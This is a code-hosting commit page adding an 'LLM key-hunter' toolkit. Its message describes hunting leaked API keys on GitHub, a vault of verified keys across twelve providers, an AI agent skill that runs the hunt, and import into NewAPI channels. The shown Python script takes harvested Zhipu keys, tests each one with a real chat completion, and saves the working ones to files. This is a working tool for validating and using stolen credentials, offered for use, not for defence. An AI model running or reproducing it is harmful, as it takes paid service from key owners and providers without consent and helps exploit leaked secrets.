Add LLM key-hunter toolkit, vault, and skill
- tools/scripts/llm-key-hunter: GitHub leak hunting pipeline (hunt_*, pivot miner, two-layer verify/content caches, per-provider verification) - usable_keys: verified key vault across 12 providers (deepseek, minimax, volcanoark, longcat, codingplan, zhipu free-tier, mimo, siliconflow, etc.) - .grok/skills/llm-key-hunter: operator skill for the hunt/verify/vault flow - NewAPI channel import scripts and CDP capture helpers - Result verdict buckets (excluding multi-GB blob caches and dedup dumps)
This commit is contained in:
1 parent
a3f698806b
commit
5d215e1649
684 files changed
+133838
No files matched your search
@@ -0,0 +1,122 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Test Zhipu (BigModel) keys against GLM-5.2 with a REAL chat completion.
|
||||
|
||||
Loads the candidate pool from results/deep_verify/zhipu_glm52.json and any
|
||||
zhipu-format keys in the pivot candidate files, then hits
|
||||
https://open.bigmodel.cn/api/paas/v4/chat/completions with model glm-5.2.
|
||||
|
||||
Classification: only HTTP 401/400 invalid-key => DEAD. A 200 with choices is
|
||||
USABLE. 429/1113 = no balance/package but still an authenticated, real key.
|
||||
Direct connection (no proxy).
|
||||
"""
|
||||
import json, os, re, sys, time
|
||||
import urllib.request, urllib.error
|
||||
from concurrent.futures import ThreadPoolExecutor, as_completed
|
||||
from pathlib import Path
|
||||
|
||||
HERE = Path(__file__).resolve().parent
|
||||
POOL = HERE / "results" / "deep_verify" / "zhipu_glm52.json"
|
||||
OUT = HERE / "results" / "zhipu_glm52_live"
|
||||
OUT.mkdir(parents=True, exist_ok=True)
|
||||
|
||||
BASE = "https://open.bigmodel.cn/api/paas/v4"
|
||||
# Zhipu key shape: 32hex.16alnum (id.secret)
|
||||
KEY_RE = re.compile(r"\b[0-9a-f]{32}\.[A-Za-z0-9]{16}\b")
|
||||
UA = "Mozilla/5.0 key-hunter"
|
||||
|
||||
_opener = None
|
||||
def opener():
|
||||
global _opener
|
||||
if _opener is None:
|
||||
_opener = urllib.request.build_opener(urllib.request.ProxyHandler({}))
|
||||
return _opener
|
||||
|
||||
def load_candidates():
|
||||
keys = {}
|
||||
if POOL.exists():
|
||||
d = json.loads(POOL.read_text())
|
||||
for bucket in d.values():
|
||||
for row in bucket:
|
||||
if isinstance(row, (list, tuple)) and len(row) >= 2:
|
||||
k, src = row[0], row[1]
|
||||
else:
|
||||
continue
|
||||
if KEY_RE.fullmatch(k):
|
||||
keys[k] = src
|
||||
# also sweep pivot candidates + extracted pools for zhipu-format keys
|
||||
for f in list((HERE / "results" / "pivot").glob("*.txt")) + \
|
||||
list((HERE / "results").rglob("extracted_keys.txt")):
|
||||
try:
|
||||
for line in f.read_text(errors="ignore").splitlines():
|
||||
for m in KEY_RE.findall(line):
|
||||
keys.setdefault(m, str(f))
|
||||
except Exception:
|
||||
pass
|
||||
return keys
|
||||
|
||||
def chat(key, model="glm-5.2", timeout=30):
|
||||
body = json.dumps({
|
||||
"model": model,
|
||||
"messages": [{"role": "user", "content": "回复两个字:你好"}],
|
||||
"max_tokens": 16,
|
||||
"temperature": 0.1,
|
||||
}).encode()
|
||||
req = urllib.request.Request(
|
||||
f"{BASE}/chat/completions", data=body,
|
||||
headers={"Authorization": f"Bearer {key}",
|
||||
"Content-Type": "application/json", "User-Agent": UA},
|
||||
method="POST")
|
||||
try:
|
||||
with opener().open(req, timeout=timeout) as r:
|
||||
return r.getcode(), r.read().decode("utf-8", "replace")
|
||||
except urllib.error.HTTPError as e:
|
||||
try:
|
||||
return e.code, e.read().decode("utf-8", "replace")
|
||||
except Exception:
|
||||
return e.code, ""
|
||||
except Exception as e:
|
||||
return 0, f"network: {type(e).__name__}: {e}"
|
||||
|
||||
def verify(item):
|
||||
key, src = item
|
||||
code, body = chat(key)
|
||||
bl = (body or "").lower()
|
||||
if code == 200 and ('"choices"' in bl or '"id"' in bl):
|
||||
return "USABLE", key, src, f"chat 200: {body[:160]}"
|
||||
if code in (401,):
|
||||
return "DEAD", key, src, f"{code}: {body[:120]}"
|
||||
# 400 with invalid-key style message -> dead
|
||||
if code == 400 and ("invalid" in bl or "api key" in bl or "token" in bl):
|
||||
return "DEAD", key, src, f"{code}: {body[:120]}"
|
||||
if code in (429,):
|
||||
# 1113 = no balance/package; 1112/1115 etc = rate limited but real
|
||||
return "NO_BALANCE", key, src, f"{code}: {body[:140]}"
|
||||
if code == 0:
|
||||
return "UNKNOWN", key, src, body[:160]
|
||||
return "NO_ACCESS", key, src, f"{code}: {body[:140]}"
|
||||
|
||||
def main():
|
||||
workers = int(sys.argv[1]) if len(sys.argv) > 1 else 24
|
||||
keys = load_candidates()
|
||||
print(f"candidates: {len(keys)} zhipu-format keys")
|
||||
buckets = {"USABLE": [], "NO_BALANCE": [], "NO_ACCESS": [],
|
||||
"DEAD": [], "UNKNOWN": []}
|
||||
with ThreadPoolExecutor(max_workers=workers) as ex:
|
||||
futs = [ex.submit(verify, it) for it in keys.items()]
|
||||
for i, fut in enumerate(as_completed(futs), 1):
|
||||
v, k, src, d = fut.result()
|
||||
buckets[v].append((k, src, d))
|
||||
if v == "USABLE":
|
||||
print(f" [+] USABLE {k[:22]}... {src}\n {d}", flush=True)
|
||||
if i % 25 == 0:
|
||||
print(f" {i}/{len(keys)} done", flush=True)
|
||||
for v, rows in buckets.items():
|
||||
with open(OUT / f"{v.lower()}.txt", "w") as f:
|
||||
for k, src, d in rows:
|
||||
f.write(f"{k}\t{src}\t{d}\n")
|
||||
summary = {v: len(r) for v, r in buckets.items()}
|
||||
(OUT / "summary.json").write_text(json.dumps(summary, indent=2))
|
||||
print("=== summary:", summary)
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
Reference in new issue
Block a user